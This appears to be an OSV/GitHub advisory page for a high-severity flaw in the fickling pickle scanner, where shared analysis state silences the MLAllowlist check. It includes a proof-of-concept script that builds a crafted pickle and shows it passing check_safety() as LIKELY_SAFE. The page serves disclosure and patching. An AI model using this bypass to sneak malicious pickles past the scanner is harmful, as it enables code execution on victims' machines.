GHSA-cffv-grgg-g429

Suggest an improvement
Source
https://github.com/advisories/GHSA-cffv-grgg-g429
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-cffv-grgg-g429/GHSA-cffv-grgg-g429.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-cffv-grgg-g429
Aliases
Published
2026-12-03T00:34:32Z
Modified
2026-12-03T00:45:37Z
Severity
  • 8.4 (High) CVSS_V4 - CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N CVSS Calculator
Summary
Fickling MLAllowlist analysis can miss non-allowlisted imports
Details

Analysis

The issue was confirmed and resolved in https://github.com/trailofbits/fickling/commit/41ce7cb01edd97072994039574a2301ebb3f463d. Users are affected when running the MLAllowlist analysis pass after another pass within the same analysis context, in which case it would fail to flag non-allowlisted imports.

This fix makes MLAllowlist functional again, and opt-in as originally intended, after upgrading to fix. If it is needed to scan ML pickles with an import allowlist, update calls to check_safety() to pass MLAllowlist in the analyzer parameter:

pickled = Pickled([ ... ])
analyzer = Analyzer([MLAllowlist()])
res = check_safety(pickled, analyzer=analyzer)

Original report

UnsafeImportsML.analyze() unconditionally calls context.shorten_code(node) on every import, even ones it doesn't flag. MLAllowlist.analyze() then sees already_reported=True and skips its allowlist check entirely. MLAllowlist is dead code for all imports for the shared-context/pass-order qualification; but a fresh independent pass can report the import. Not an UnusedVariables bypass. Tests 1–2 in the PoC demonstrate the defect independently. MLAllowlist flags ast.parse as LIKELY_UNSAFE on a fresh context, returns 0 findings after UnsafeImportsML pollutes the shared state. Test 3 shows the full pipeline result.

ast.parse: not in UNSAFE_IMPORTS, not in ML_ALLOWLIST. check_safety() returns LIKELY_SAFE with 0 findings on 0.1.11. 139 stdlib modules are unblocked. Root cause is AnalysisContext.reported_shortened_code shared across all passes with no per-analyzer namespace.

PoC (tested against 0.1.11 from PyPI):

""" fickling MLAllowlist bypass via shorten_code shared state

Tested: fickling 0.1.11 """

import sys

from fickling.analysis import ( AnalysisContext, UnsafeImportsML, check_safety, Severity ) from fickling.ml import MLAllowlist, ML_ALLOWLIST from fickling.fickle import Pickled, UNSAFE_IMPORTS import fickling.fickle as op

def build_payload(module: str, function: str) -> Pickled: return Pickled([ op.Proto.create(4), op.ShortBinUnicode(module), op.ShortBinUnicode(function), op.StackGlobal(), op.ShortBinUnicode("x=1"), op.TupleOne(), op.Reduce(), op.Memoize(), op.EmptyDict(), op.ShortBinUnicode("k1"), op.BinGet(0), op.SetItem(), op.Mark(), op.BinGet(0), op.ShortBinUnicode("k2"), op.SetItems(), op.Stop(), ])

def main(): target = "ast" func = "parse"

print(f"fickling MLAllowlist shorten_code bypass")
print(f"{'=' * 60}\n")

# Preconditions
assert target not in UNSAFE_IMPORTS, f"{target} is in UNSAFE_IMPORTS"
assert target not in ML_ALLOWLIST, f"{target} is in ML_ALLOWLIST"
print(f"Target: {target}.{func}")
print(f"  In UNSAFE_IMPORTS: {target in UNSAFE_IMPORTS}")
print(f"  In ML_ALLOWLIST:   {target in ML_ALLOWLIST}\n")

pickled = build_payload(target, func)

# Test 1: MLAllowlist on fresh context — should flag it
fresh_ctx = AnalysisContext(pickled)
fresh_results = list(MLAllowlist().analyze(fresh_ctx))
print(f"[TEST 1] MLAllowlist on fresh context: {len(fresh_results)} finding(s)")
for r in fresh_results:
    print(f"  [{r.severity.name}] {r.message}")

# Test 2: MLAllowlist after UnsafeImportsML — silenced
polluted_ctx = AnalysisContext(pickled)
_ = list(UnsafeImportsML().analyze(polluted_ctx))
polluted_results = list(MLAllowlist().analyze(polluted_ctx))
print(f"[TEST 2] MLAllowlist after UnsafeImportsML: {len(polluted_results)} finding(s)")

# Test 3: Full pipeline — LIKELY_SAFE
full = check_safety(pickled)
print(f"[TEST 3] check_safety(): {full.severity.name} ({len(full.results)} findings)")
print(f"  fickling.load() would deserialize: {full.severity <= Severity.LIKELY_SAFE}")

print(f"\n{'=' * 60}")
if (len(fresh_results) > 0
        and len(polluted_results) == 0
        and full.severity == Severity.LIKELY_SAFE):
    print("RESULT: MLAllowlist silenced by shorten_code shared state.")
    print("        check_safety() returns LIKELY_SAFE. fickling.load() executes.")
else:
    print("RESULT: Bug not reproduced. Check fickling version.")

return 0

if name == "main": sys.exit(main())

Database specific
{
    "cwe_ids":  [
        "CWE-1023"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-12-03T00:34:32Z",
    "nvd_published_at":  "2026-07-04T14:16:29Z",
    "severity":  "HIGH"
}
References

Affected packages

PyPI / fickling

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0.1.4
Fixed
0.1.12

Affected versions

0.*
0.1.4
0.1.5
0.1.6
0.1.7
0.1.8
0.1.9
0.1.10
0.1.11

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-cffv-grgg-g429/GHSA-cffv-grgg-g429.json"